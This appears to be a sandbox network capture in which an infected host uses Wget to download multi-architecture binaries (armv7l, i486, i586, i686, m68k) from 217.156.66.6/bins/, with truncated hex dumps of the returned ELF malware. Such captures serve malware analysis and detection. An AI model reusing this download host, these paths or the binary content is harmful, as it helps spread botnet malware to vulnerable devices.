Mar 31, 2025 14:08:24.058459997 CEST	1031	IN	Data Raw: e5 00 00 50 e3 14 50 84 e5 d2 ff ff 0a 09 10 a0 e3 ce 1d 00 eb 1c 00 94 e5 00 00 50 e3 18 50 84 e5 d0 ff ff 0a 09 10 a0 e3 c8 1d 00 eb cd ff ff ea 44 43 02 00 f0 4f 2d e9 03 00 51 e3 1c d0 4d e2 01 40 a0 e1 00 50 a0 e1 02 00 00 8a 1c d0 8d e2 f0 Data Ascii: PPPPDCO-QM@PO/!< 4,4T T Y1p0DS:`,pg0G P`FV0@
Mar 31, 2025 14:08:24.058475018 CEST	1031	IN	Data Raw: 85 e5 04 30 c5 e5 01 11 a0 e1 24 2c 00 eb 00 30 d4 e5 00 20 a0 e1 03 51 80 e7 08 10 a0 e3 07 30 83 e0 07 00 a0 e1 00 30 c4 e5 00 20 86 e5 ce 2b 00 eb 00 10 d4 e5 e4 23 9f e5 00 50 a0 e1 03 30 a0 e3 07 10 81 e0 00 00 96 e5 00 20 85 e5 04 30 c5 e5 Data Ascii: 0$,0 Q00 +#P0 0,0 Q00 +#P0 0+0 Q00 +T#P0 0+
Mar 31, 2025 14:08:24.058489084 CEST	1031	IN	Data Raw: 00 a0 e1 00 20 c4 e5 04 d0 8d e2 f0 40 bd e8 1e ff 2f e1 3c 43 02 00 40 43 02 00 88 d0 00 00 58 cc 00 00 b8 c9 00 00 dc c0 00 00 e4 b9 00 00 6c b3 00 00 10 b0 00 00 c4 a1 00 00 30 9b 00 00 8c c7 00 00 70 ad 00 00 d4 8d 00 00 44 8a 00 00 e0 a7 00 Data Ascii: @/<C@CXl0pDPO-tM@P*$ 080C 0 @0} 04u8
Mar 31, 2025 14:08:24.058502913 CEST	1031	IN	Data Raw: 54 20 9d e5 01 40 83 e2 50 30 9d e5 0a 00 54 e1 b4 70 c6 e1 b0 20 c6 e1 b2 30 c6 e1 6c 40 8d e5 a8 ff ff ba 44 40 9d e5 44 50 9d e5 08 40 84 e2 42 50 85 e2 10 40 8d e5 14 50 8d e5 00 30 a0 e3 00 00 5a e3 6c 30 8d e5 fb ff ff 0a 03 00 a0 e1 80 32 Data Ascii: T @P0Tp 0l@D@DP@BP@P0Zl021C0$@ QRp&`:U(qjH@D[l< Rs@0SuL@T00whdh` d
Mar 31, 2025 14:08:24.058517933 CEST	1031	IN	Data Raw: e1 ff c0 0c e2 05 10 a0 e1 13 20 a0 e3 00 30 a0 e3 04 00 a0 e1 40 c0 8d e5 ac fc ff eb ec 24 9f e5 05 10 a0 e1 00 30 92 e5 00 60 a0 e1 19 20 a0 e3 04 00 a0 e1 a5 fc ff eb 03 10 a0 e3 20 00 8d e5 06 20 a0 e3 02 00 a0 e3 e1 25 00 eb 01 00 70 e3 24 Data Ascii: 0@$0` %p$$`0 # %px`(8'HZpD`\+408@<P 8(4@!,w8P
Mar 31, 2025 14:08:24.326984882 CEST	1031	IN	Data Raw: 9d e5 83 12 a0 e1 83 11 41 e0 ff c8 04 e2 24 2c a0 e1 2c 24 82 e1 09 10 81 e0 ff 3c 04 e2 14 c0 d1 e5 03 24 82 e1 04 2c 82 e1 30 2c 82 e0 ff 08 02 e2 22 3c a0 e1 ff 1c 02 e2 20 34 83 e1 01 34 83 e1 20 10 9d e5 02 3c 83 e1 01 00 71 e3 10 30 85 e5 Data Ascii: A$,,$<$,0,"< 44 <q0H@D[ 4 ?@0R080SD@T00@Q<$*d

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.13	48270	217.156.66.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 31, 2025 14:08:26.326560974 CEST	162	OUT	GET /bins/armv7l HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) Accept: / Accept-Encoding: identity Host: 217.156.66.6 Connection: Keep-Alive
Mar 31, 2025 14:08:27.031290054 CEST	162	OUT	GET /bins/armv7l HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) Accept: / Accept-Encoding: identity Host: 217.156.66.6 Connection: Keep-Alive
Mar 31, 2025 14:08:27.242328882 CEST	503	IN	HTTP/1.1 404 Not Found Date: Mon, 31 Mar 2025 12:08:26 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 274 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 31 37 2e 31 35 36 2e 36 36 2e 36 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Ubuntu) Server at 217.156.66.6 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.13	48272	217.156.66.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 31, 2025 14:08:27.627177000 CEST	160	OUT	GET /bins/i486 HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) Accept: / Accept-Encoding: identity Host: 217.156.66.6 Connection: Keep-Alive
Mar 31, 2025 14:08:27.858381987 CEST	503	IN	HTTP/1.1 404 Not Found Date: Mon, 31 Mar 2025 12:08:27 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 274 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 31 37 2e 31 35 36 2e 36 36 2e 36 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Ubuntu) Server at 217.156.66.6 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.13	48274	217.156.66.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 31, 2025 14:08:29.234563112 CEST	160	OUT	GET /bins/i586 HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) Accept: / Accept-Encoding: identity Host: 217.156.66.6 Connection: Keep-Alive
Mar 31, 2025 14:08:29.462903023 CEST	1031	IN	HTTP/1.1 200 OK Date: Mon, 31 Mar 2025 12:08:29 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sun, 30 Mar 2025 19:26:08 GMT ETag: "102d0-631944688d0d4" Accept-Ranges: bytes Content-Length: 66256 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 02 00 03 00 01 00 00 00 64 81 04 08 34 00 00 00 a0 00 01 00 00 00 00 00 34 00 20 00 03 00 28 00 0e 00 0d 00 01 00 00 00 00 00 00 00 00 80 04 08 00 80 04 08 84 ee 00 00 84 ee 00 00 05 00 00 00 00 10 00 00 01 00 00 00 00 f0 00 00 00 70 05 08 00 70 05 08 c0 02 00 00 c0 69 00 00 06 00 00 00 00 10 00 00 51 e5 74 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 04 00 00 00 55 89 e5 53 e8 13 00 00 00 81 c3 77 ef 00 00 e8 68 00 00 00 e8 43 d4 00 00 5b 5d c3 8b 1c 24 c3 90 90 90 90 90 90 90 90 90 90 90 90 55 89 e5 83 ec 08 80 3d c0 72 05 08 00 74 0c eb 35 83 c0 04 a3 24 70 05 08 ff d2 a1 24 70 05 08 8b 10 85 d2 75 eb b8 00 00 00 00 85 c0 74 10 83 ec 0c 68 80 6e 05 08 e8 04 7f fb f7 83 c4 10 c6 05 c0 72 05 08 01 c9 c3 90 8d b4 26 00 00 00 00 55 b8 00 00 00 00 89 e5 83 ec 08 e8 00 00 00 00 5a 81 c2 f4 ee 00 00 85 c0 74 15 52 6a 00 68 c4 72 05 08 68 80 6e 05 08 e8 c3 7e fb f7 83 c4 10 a1 10 70 05 08 85 c0 74 16 b8 00 00 00 00 85 c0 74 0d [TRUNCATED] Data Ascii: ELFd44 (ppiQtdUSwhC[]$U=rt5$p$puthnr&UZtRjhrhn~ptthp1^PTRhUhQVhP0UWVSZpJHJHJHJHKNKNKZNpJHKNKNKXNJRPQSQSQSpxh@D$$Cs{k$D$uG%@U%@U1D$@U%@UD$$2@W1AA1AA1AA0D$D$A$A$<$,_XZ[^_]UWVSLD$H$@$D$@$
Mar 31, 2025 14:08:29.462979078 CEST	1031	IN	Data Raw: 52 fe 8b 04 24 88 54 24 41 8a 54 24 40 8a 49 ff 81 e2 ff 00 00 00 88 4c 24 42 89 d1 8a 00 89 54 24 04 c1 ea 07 88 44 24 43 01 c9 8d 04 12 01 d0 8d 04 c0 31 c8 88 44 24 44 01 c0 8a 54 24 44 88 44 24 0b c0 ea 07 83 e2 01 8d 04 12 01 d0 8d 04 c0 30 Data Ascii: R$T$AT$@IL$BT$D$C1D$DT$DD$0D$L$L$T$T$AT$1L$%D$1D$ET$ED$0D$L$L$ T$ 1L$'T$B
Mar 31, 2025 14:08:29.463087082 CEST	1031	IN	Data Raw: 88 43 02 8a 43 0e 88 53 0a 8a 53 06 88 43 06 8a 43 07 88 53 0e 8a 53 03 88 43 03 8a 43 0b 88 43 07 8a 43 0f 88 43 0b 88 53 0f 31 d2 8d b6 00 00 00 00 31 c0 8a 04 1a 8a 80 40 56 05 08 88 04 1a 31 c0 8a 44 1a 04 8a 80 40 56 05 08 88 44 1a 04 31 c0 Data Ascii: CCSSCCSSCCCCCS11@V1D@VD1D@VD1D@VDBu1%L0A0DA0DA0DButN+&0G0CG0CG0CG0CG0CG0CG0CG0C
Mar 31, 2025 14:08:29.463100910 CEST	1031	IN	Data Raw: 18 8b 4c 24 0c 01 d1 c6 44 24 5b 98 81 e1 ff 00 00 00 c6 44 24 5c 3d 29 d1 8b 54 24 10 c1 fa 1f 88 4c 24 4c c1 ea 18 8b 4c 24 10 01 d1 81 e1 ff 00 00 00 29 d1 8b 54 24 14 c1 fa 1f 88 4c 24 57 c1 ea 18 8b 4c 24 14 01 d1 81 e1 ff 00 00 00 29 d1 8b Data Ascii: L$D$[D$\=)T$L$LL$)T$L$WL$)T$L$XL$)L$YD$]0T$L$D$^D$_D$`D$a)T$ L$tL$ D$bDD$c{)T$$L$uL$$D$d#D$e9)T$(
Mar 31, 2025 14:08:29.463112116 CEST	1031	IN	Data Raw: 00 00 00 85 ed 0f 8e 27 01 00 00 8b 8c 24 84 00 00 00 46 89 4c 24 18 c7 44 24 14 01 00 00 00 89 74 24 08 e9 cf 00 00 00 8d 74 26 00 8b 4c 24 18 8b 44 24 10 66 c1 c8 08 66 89 41 02 53 6a 00 6a 02 6a 02 e8 e7 8e 00 00 89 c2 8b 44 24 24 83 c4 10 83 Data Ascii: '$FL$D$t$t&L$D$ffASjjjD$$TfL$D$\fL$^fD$\D$`QjPRD$xw.XPffT$1JffBPjD$ PL$ DP~t$$\$(Ft$$\$(t$9t
Mar 31, 2025 14:08:29.463121891 CEST	1031	IN	Data Raw: 83 fb 03 77 0c 83 c4 3c 5b 5e 5f 5d c3 8d 74 26 00 8b 2e 66 c1 cd 08 c1 cd 10 66 c1 cd 08 83 fb 04 74 e2 8a 46 04 83 fb 05 88 44 24 17 74 d6 8a 46 05 84 c0 74 cf 25 ff 00 00 00 8d 53 fa 89 44 24 18 89 54 24 38 8d 04 80 89 44 24 10 39 c2 72 b4 50 Data Ascii: w<[^_]t&.fftFD$tFt%SD$T$8D$9rPPj~L$$QD$@T$~=T$tQGAfQ9ut$)\$8\$8D$$tGD$#D$,\|nPPD$,PD$8PD$@PD$
Mar 31, 2025 14:08:29.463138103 CEST	1031	IN	Data Raw: 09 c7 00 10 c2 04 08 58 31 c0 a0 dc 72 05 08 5a 8d 04 85 04 00 00 00 50 a1 e0 72 05 08 50 e8 30 91 00 00 8a 15 dc 72 05 08 31 c9 88 d1 42 a3 e0 72 05 08 89 1c 88 88 15 dc 72 05 08 59 5b 6a 08 6a 01 e8 18 90 00 00 89 c3 c6 40 04 03 c7 00 c0 ba 04 Data Ascii: X1rZPrP0r1BrrY[jj@X1rZPrPr1BrrY[jj@ X1rZPrPr1BrrY[jj@X1r
Mar 31, 2025 14:08:29.463159084 CEST	1031	IN	Data Raw: 54 8d 00 00 8a 15 dc 72 05 08 31 c9 88 d1 42 a3 e0 72 05 08 89 1c 88 88 15 dc 72 05 08 b8 01 00 00 00 83 c4 18 5b c3 90 90 90 90 55 57 56 53 83 ec 64 31 c0 8b bc 24 84 00 00 00 0f b6 b4 24 80 00 00 00 6a 04 81 e6 ff 00 00 00 8a 44 24 7c 89 44 24 Data Ascii: Tr1Brr[UWVSd1$$jD$\|D$PD$$jjWVD$O hjWVnD$(j@jWV_D$R jjWVMD$ChjWV;D$< hjWV&D$0hjWVD$X jjWVD$NjjWV
Mar 31, 2025 14:08:29.463222027 CEST	1031	IN	Data Raw: 6a 14 56 e8 38 2d 00 00 66 89 46 0a 66 c7 47 0a 00 00 5d 58 6a 14 57 e8 24 2d 00 00 8b 4c 24 18 66 89 47 0a 66 c7 43 06 00 00 51 66 8b 43 04 25 ff ff 00 00 50 53 57 e8 54 2d 00 00 66 89 43 06 8b 44 24 78 8b 94 24 94 00 00 00 8b 8c 24 94 00 00 00 Data Ascii: jV8-fFfG]XjW$-L$fGfCQfC%PSWT-fCD$x$$@fVTfDjPh@T$ RVD$DP<~D$x@D$x ;D$s@D$@ffD$@@T$XRT$tLT$@ff\|$$F^
Mar 31, 2025 14:08:29.463284969 CEST	1031	IN	Data Raw: 08 66 c1 c8 08 80 7c 24 2b 00 66 89 46 04 74 06 66 c7 46 06 40 00 c6 46 09 11 e8 66 3d 00 00 80 7c 24 35 00 89 46 0c 0f 85 f4 fe ff ff 2d 00 04 00 00 83 f0 ff 89 46 10 e9 ea fe ff ff 83 ec 0c 8b 44 24 2c 50 e8 c9 59 00 00 83 c4 10 83 c4 4c 5b 5e Data Ascii: f\|$+fFtfF@Ff=\|$5F-FD$,PYL[^_]T$0L$04T$L$D$t&~D$H1T$L$d4@~n,x\|$*f\|$(2f\|$,Gf\|$.P\|$5YFG\|$4[fF
Mar 31, 2025 14:08:29.724838018 CEST	1031	IN	Data Raw: 44 24 2a 88 54 24 2f 66 81 fb b4 05 66 89 5c 24 3a 76 07 66 c7 44 24 3a b4 05 8a 4c 24 0b c7 44 24 48 00 00 00 00 81 e1 ff 00 00 00 89 4c 24 20 85 c9 0f 8e aa 00 00 00 66 8b 7c 24 3a 31 db 83 c7 1c 50 50 6a 01 68 e6 05 00 00 e8 23 80 00 00 8b 54 Data Ascii: D$*T$/ff\$:vfD$:L$D$HL$ f\|$:1PPjh#T$D$XEZD$9BL$=ffBfD$:ffBJtfB@BL$JL$dD$H@DBD$/BC8fCfC\$HC\$H9\$ `fT$6

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.13	48276	217.156.66.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 31, 2025 14:08:32.196085930 CEST	160	OUT	GET /bins/i686 HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) Accept: / Accept-Encoding: identity Host: 217.156.66.6 Connection: Keep-Alive
Mar 31, 2025 14:08:32.431958914 CEST	1031	IN	HTTP/1.1 200 OK Date: Mon, 31 Mar 2025 12:08:32 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sun, 30 Mar 2025 19:26:05 GMT ETag: "11670-63194465e59e2" Accept-Ranges: bytes Content-Length: 71280 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 02 00 03 00 01 00 00 00 68 81 04 08 34 00 00 00 40 14 01 00 00 00 00 00 34 00 20 00 03 00 28 00 0e 00 0d 00 01 00 00 00 00 00 00 00 00 80 04 08 00 80 04 08 84 03 01 00 84 03 01 00 05 00 00 00 00 10 00 00 01 00 00 00 84 03 01 00 84 93 05 08 84 93 05 08 dc 02 00 00 dc 69 00 00 06 00 00 00 00 10 00 00 51 e5 74 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 04 00 00 00 55 89 e5 53 e8 13 00 00 00 81 c3 fb 12 01 00 e8 68 00 00 00 e8 43 e9 00 00 5b 5d c3 8b 1c 24 c3 90 90 90 90 90 90 90 90 90 90 90 90 55 89 e5 83 ec 08 80 3d 60 96 05 08 00 74 0c eb 31 83 c0 04 a3 c4 93 05 08 ff d2 a1 c4 93 05 08 8b 10 85 d2 75 eb b8 00 00 00 00 85 c0 74 0c c7 04 24 80 83 05 08 e8 05 7f fb f7 c6 05 60 96 05 08 01 c9 c3 8d b6 00 00 00 00 8d bf 00 00 00 00 55 b8 00 00 00 00 89 e5 83 ec 18 e8 00 00 00 00 5a 81 c2 78 12 01 00 85 c0 74 1f 89 54 24 0c 31 c9 ba 64 96 05 08 89 4c 24 08 89 54 24 04 c7 04 24 80 83 05 08 e8 b6 7e fb f7 a1 94 93 05 08 85 c0 74 [TRUNCATED] Data Ascii: ELFh4@4 (iQtdUShC[]$U=`t1ut$`UZxtT$1dL$T$$~tt$1^PTRh!jhQVhDVSZpJHJHJHJHKNKNKZNpJHKNKNKXNJRPQSQSQS@D$CD$CD$C$*CD$CD$CD$C$uID$@jD$@jD$$@jD$D$@j$2@lT$F0D$D$AA0D$D$AA0D$D$AA0$,$
Mar 31, 2025 14:08:32.431978941 CEST	1031	IN	Data Raw: 88 41 13 0f 85 44 ff ff ff 58 5b 5e c3 55 ba 01 00 00 00 57 83 c0 03 56 53 83 ec 44 89 54 24 40 89 04 24 8d 76 00 8d bc 27 00 00 00 00 0f b6 40 fd 8b 14 24 88 44 24 38 8b 04 24 0f b6 52 fe 0f b6 6c 24 38 88 54 24 39 8b 14 24 0f b6 40 ff 8d 4c 2d Data Ascii: ADX[^UWVSDT$@$v'@$D$8$Rl$8T$9$@L-D$:T$;0D$<D$D$<0D$D$D$D$L$0D$9L$T$D$D$L$0D$
Mar 31, 2025 14:08:32.438461065 CEST	1031	IN	Data Raw: 05 88 43 09 0f b6 43 01 88 53 01 0f b6 53 02 88 43 05 0f b6 43 0a 88 53 0a 0f b6 53 06 88 43 02 0f b6 43 0e 88 53 0e 0f b6 53 03 88 43 06 0f b6 43 07 88 43 03 0f b6 43 0b 88 43 07 0f b6 43 0f 88 53 0f 31 d2 88 43 0b 8d 76 00 8d bc 27 00 00 00 00 Data Ascii: CCSSCCSSCCSSCCCCCCS1Cv'@kD@kDD@kDD@kDBuD$10A0DA0DA0DBu\|$t+L$
Mar 31, 2025 14:08:32.438483953 CEST	1031	IN	Data Raw: 00 00 89 44 24 44 e8 4c ba 00 00 c6 44 24 56 00 c6 44 24 57 36 c6 44 24 58 38 c6 44 24 5d b3 c6 44 24 5e 2f 89 44 24 10 89 f0 99 89 e8 c1 ea 18 8d 0c 16 81 e1 ff 00 00 00 29 d1 99 8b 44 24 18 c1 ea 18 88 4c 24 59 8d 4c 15 00 bd ff ff 00 00 81 e1 Data Ascii: D$DLD$VD$W6D$X8D$]D$^/D$)D$L$YL)L$ZD$)L$[D$ )L$\D$$)L$gD$()L$h)L$iD$_D$`D$aD$bD$cD$deD$
Mar 31, 2025 14:08:32.447983980 CEST	1031	IN	Data Raw: 00 00 00 89 7c 24 04 89 34 24 89 44 24 3c b8 40 00 00 00 89 44 24 0c e8 34 f9 ff ff b9 05 00 00 00 89 4c 24 08 89 5c 24 0c 31 db 89 7c 24 04 89 34 24 88 44 24 5a e8 15 f9 ff ff ba ff ff 00 00 89 54 24 0c 89 7c 24 04 89 34 24 88 44 24 5b b8 06 00 Data Ascii: \|$4$D$<@D$4L$\$1\|$4$D$ZT$\|$4$D$[D$\|$4$D$@D$D$\|$4$D$DD$1D$l$\|$4$D$dD$L$\$\|$4$D$jxT$\|$4$D$
Mar 31, 2025 14:08:32.448003054 CEST	1031	IN	Data Raw: 7c e8 7f 65 00 00 ba 04 00 00 00 8d 45 06 89 54 24 08 8d 94 24 80 00 00 00 89 54 24 04 89 04 24 e8 60 65 00 00 b8 02 00 00 00 8d 4c 24 7c 89 44 24 08 8d 45 04 89 4c 24 04 89 04 24 e8 44 65 00 00 b8 02 00 00 00 89 44 24 08 8d 44 24 7e 89 44 24 04 Data Ascii: \|eET$$T$$`eL$\|D$EL$$DeD$D$~D$E$(e\|$jfFl$4$66fFfGL$<$6L$(fGfCL$C\$<$D$56$$fC$@fVfDT
Mar 31, 2025 14:08:32.665679932 CEST	1031	IN	Data Raw: 00 00 bb 04 00 00 00 89 74 24 78 89 5c 24 10 89 44 24 0c 89 54 24 04 89 0c 24 e8 c0 8b 00 00 40 0f 84 84 01 00 00 89 f8 0f b7 54 24 34 0f b7 ed 88 44 24 5f 31 c0 0f b7 4c 24 38 89 44 24 78 8b 44 24 28 89 6c 24 54 89 54 24 48 89 4c 24 50 85 c0 0f Data Ascii: t$x\$D$T$$@T$4D$_1L$8D$xD$(l$TT$HL$PgT$X1B4D$`BD$dD$HD$h:CF\$xD$PffD$TCffGf9\$(fG\$x@D$$T$0D$xESL$Gs
Mar 31, 2025 14:08:32.665819883 CEST	1031	IN	Data Raw: 00 e9 62 fe ff ff 8b 4c 24 58 8b 44 24 58 83 c1 08 83 c0 34 89 4c 24 20 89 44 24 24 e9 be fd ff ff 90 90 90 90 90 90 90 90 90 90 90 90 90 90 55 bd ff ff 00 00 57 bf 03 00 00 00 56 53 83 ec 6c 0f b6 84 24 80 00 00 00 0f b6 94 24 88 00 00 00 8b 9c Data Ascii: bL$XD$X4L$ D$$UWVSl$$$D$T$T$$t$\$4$D$ 1D$D$l$\|$\$4$D$;L$T$\$4$D$$\$4$D$@1D$D$j
Mar 31, 2025 14:08:32.730283022 CEST	1031	IN	Data Raw: 00 00 8b 6c 24 44 85 ed 7e 0c 8b 54 24 44 89 14 24 e8 14 9e 00 00 b9 14 00 00 00 66 c7 46 0a 00 00 89 4c 24 04 89 34 24 e8 97 2a 00 00 66 89 46 0a 8b 44 24 58 66 c7 47 02 00 00 89 3c 24 83 c0 08 89 44 24 04 e8 7a 2a 00 00 8b 8c 24 84 00 00 00 ba Data Ascii: l$D~T$D$fFL$4$fFD$XfG<$D$z$fGD$hT$\$t$@D$@D$D$4$D$h@9D$0D$hl$TD$XD$F$,CEAL$PT$L)B1D$PT$XffF
Mar 31, 2025 14:08:32.730330944 CEST	1031	IN	Data Raw: 00 e8 77 89 00 00 8b 54 24 40 8b 4c 24 20 66 83 7c 24 30 ff 89 44 91 fc 0f 85 fb fe ff ff e8 66 3e 00 00 8b 54 24 44 66 89 42 02 e9 f9 fe ff ff 8b 4c 24 28 8d 71 01 8b 5c 24 2c 85 db 8d b6 00 00 00 00 8d bf 00 00 00 00 7e fe 80 7c 24 3b 00 75 50 Data Ascii: wT$@L$ f\|$0Df>T$DfBL$(q\$,~\|$;uPT$ @L$\|$DD$DC$~9u\$,=D$4K\[^_]T$<L$<D$ \\|$$&?T$<@D$\|$\$D$~D$<9t$<E
Mar 31, 2025 14:08:32.731112957 CEST	1031	IN	Data Raw: d2 f7 f1 81 c2 f5 01 00 00 0f b7 d2 89 54 24 28 e9 70 ff ff ff 8d 8c 24 a8 2f 00 00 bf 04 00 00 00 8d 84 24 a4 2f 00 00 89 4c 24 0c b9 01 00 00 00 89 44 24 10 89 7c 24 08 89 4c 24 04 89 1c 24 e8 64 7a 00 00 8b 94 24 a8 2f 00 00 85 d2 75 84 c7 06 Data Ascii: T$(p$/$/L$D$\|$L$$dz$/uc$MZF$6]F/UW1VS\|$$$D$3T$2$x4$D$L$d

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.13	48278	217.156.66.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 31, 2025 14:08:37.383579969 CEST	160	OUT	GET /bins/m68k HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) Accept: / Accept-Encoding: identity Host: 217.156.66.6 Connection: Keep-Alive
Mar 31, 2025 14:08:37.627557993 CEST	1031	IN	HTTP/1.1 200 OK Date: Mon, 31 Mar 2025 12:08:37 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sun, 30 Mar 2025 19:26:16 GMT ETag: "14410-631944706514a" Accept-Ranges: bytes Content-Length: 82960 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 00 02 00 04 00 00 00 01 80 00 01 44 00 00 00 34 00 01 42 08 00 00 00 00 00 34 00 20 00 03 00 28 00 0d 00 0c 00 00 00 01 00 00 00 00 80 00 00 00 80 00 00 00 00 01 30 b4 00 01 30 b4 00 00 00 05 00 00 20 00 00 00 00 01 00 01 30 b4 80 01 50 b4 80 01 50 b4 00 00 03 a0 00 00 66 8c 00 00 00 06 00 00 20 00 64 74 e5 51 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 04 4e 56 00 00 61 ff 00 00 00 64 61 ff 00 01 18 f4 4e 5e 4e 75 4e 56 00 00 4a 39 80 01 54 54 66 3e 22 79 80 01 50 cc 20 51 4a 88 67 16 58 89 23 c9 80 01 50 cc 4e 90 22 79 80 01 50 cc 20 51 4a 88 66 ea 41 f9 00 00 00 00 4a 88 67 0a 48 79 80 01 30 b0 4e 90 58 8f 13 fc 00 01 80 01 54 54 4e 5e 4e 75 4e 56 00 00 4e 5e 4e 75 4e 56 00 00 41 f9 00 00 00 00 4a 88 67 10 48 79 80 01 54 56 48 79 80 01 30 b0 4e 90 50 8f 4a b9 80 01 50 c4 67 14 41 f9 00 00 00 00 4a 88 67 0a 48 79 80 01 50 c4 4e 90 58 8f 4e 5e 4e 75 4e 56 00 00 4e 5e 4e 75 9d ce 20 1f 20 4f 48 57 48 51 48 79 80 01 [TRUNCATED] Data Ascii: ELFD4B4 (00 0PPf dtQNVadaN^NuNVJ9TTf>"yP QJgX#PN"yP QJfAJgHy0NXTTN^NuNVN^NuNVAJgHyTVHy0NPJPgAJgHyPNXN^NuNVN^Nu OHWHQHyHyHP/Hy_NVJH>0&o $o$jjjCAhhhCAhhhAEjjj"K+++\|AEBB0B0B0 02`"K++++g@)@)@)@RXp,fL\|NuOH?>,o\BNVRnSnTnUB/R&@&r$"@V@//Vt$"//B
Mar 31, 2025 14:08:37.627576113 CEST	1031	IN	Data Raw: 2f 00 2f 2f 43 00 30 d6 83 10 2f 00 33 ee 08 02 80 00 00 00 ff 72 01 c0 81 24 00 e5 8a 22 00 eb 89 92 82 92 80 b3 03 1f 43 00 35 42 82 14 03 2f 42 00 36 42 83 16 2f 00 53 2f 43 00 3a d6 83 10 2f 00 3d ee 08 02 80 00 00 00 ff 72 01 c0 81 24 00 e5 Data Ascii: ///C0/3r$"C5B/B6B/S/C:/=r$"4CB?v$"/?B/?/@@ @/C$"$0B/CDB/T*@&r$"CWBI
